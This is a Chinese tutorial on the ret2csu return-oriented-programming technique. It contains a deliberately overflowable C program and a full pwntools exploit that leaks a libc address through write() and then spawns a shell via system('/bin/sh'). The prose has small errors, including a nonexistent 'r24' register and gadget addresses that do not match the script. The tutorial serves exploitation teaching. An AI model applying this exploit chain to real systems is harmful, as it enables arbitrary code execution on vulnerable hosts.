64位程序,函数的前六个参数存储在 rdi、rsi、rdx、rcx、r8、r9,其余的参数放在栈上
在ret2libc的时候,需要知道libc的基址,然后才能知道具体的库函数地址
那么首要的问题就是泄露出libc基址,如果有puts、printf函数还好说,倘若给一个write函数,那么泄露地址就成了一个棘手的问题了
因为write函数的原型是这样的 :ssize_t write(int fd,void*buf,size_t count),它有三个参数
我们用ROPgadget来查询:ROPgadget --binary filename --only 'pop|ret'
很容易可以找到前两个参数的gadget,(1)pop rdi ; ret(2)pop rsi ; pop r15 ; ret
但是很遗憾找不到类似的pop rdx;ret;
如果rdx为零,眼看着可以去调用write函数,但是leak不出地址
还好,在 __libc_csu_init()函数里有一段gadget可以用,我们写个例子测试一下:
#include<stdio.h> #include<unistd.h> int main(){ char str1[0x20]={"hello world!"}; char str2[0x20]; write(1,str1,0x18); read(0,str2,0x100); return 0; }
编译一下:gcc -g -fno-stack-protector hello.c -o hello
用ida反编译它,在__libc_csu_init(),有一段汇编代码是这样的:
从0x40069A开始,会把栈里的数据依次弹给 rbx rbp r12 r13 r24 r15 等寄存器
更好的是它执行完这段代码之后还有一个retn,起到pop rip的作用,这样就可以控制 rip ,继续劫持程序流程
把程序流程转到0x400680,mov rdx,r13; mov rsi,r14; mov edi,r15d; 三条指令,会把r15 r14 r13的值赋给edi,rsi,rdx
那就完整的控制了3个参数,不仅如此,接下来的一条指令还会把r12+rbx*8的值当做地址,去获得一个数据,把所获得的数据当做函数地址去调用
比如把rbx设为0,把r12设为write_got,就会调用write函数,因为write_got里存储的是write函数的地址
调用完write函数后,我们希望接着执行retn指令,以控制程序流程
那么就需要绕过0x400694处的判断,jnz是指在zf值为0时跳转(可能是!zf的意思吧),上一条的cmp rbx,rbp指令,会比较rbx和rbp,两者相等的话zf将被设置为1
我们希望rbx=rbp 来绕过这个跳转,刚才把rbx设为0,在0x40068d:add rbx,1 之后,它的值为1,因此我们需要把rbp的值也设为1
此时,就不需要再重视这一串pop指令了,重要的是其后的retn
一共6个pop 那就需要0x30个数据,加上一个add rsp ,8 (栈由高地址向低地址生长,加8就是降一格,忽略掉栈顶的那8个a),总共0x38个数据
综合这一长串,就可以写payload了
针对这个例子,利用代码如下:
from pwn import * context.log_level="debug" sh=process("./hello") elf=ELF("./hello") pop_rdi=p64(0x400613) ret=p64(0x400419) csu_1 = 0x4005f0 csu_2 = 0x40060a payload=b'a'*0x48+p64(csu_2) #write(1,elf.got['write'],8) payload+=p64(0) #rbx payload+=p64(1) #rbp payload+=p64(elf.got['write']) #r12 payload+=p64(8) #r13 => rdx payload+=p64(elf.got['write']) #r14 => rsi payload+=p64(1) #r15 => rdi payload+=p64(csu_1) #rip #add rsp ;pop pop ... retn payload+=b'a'*0x38+p64(elf.sym['main']) sh.sendlineafter('hello world!'+"\x00"*12,payload) libc_write = u64(sh.recv(8)) libc_base=libc_write-0x0f7370 sys=libc_base+0x0453a0 binsh=libc_base+0x18ce17 info(hex(libc_write)) info(hex(libc_base)) payload=b'a'*0x48+pop_rdi+p64(binsh)+ret+p64(sys) sh.sendlineafter('hello world!',payload) sh.interactive()
ret2csu的例子就说到这里了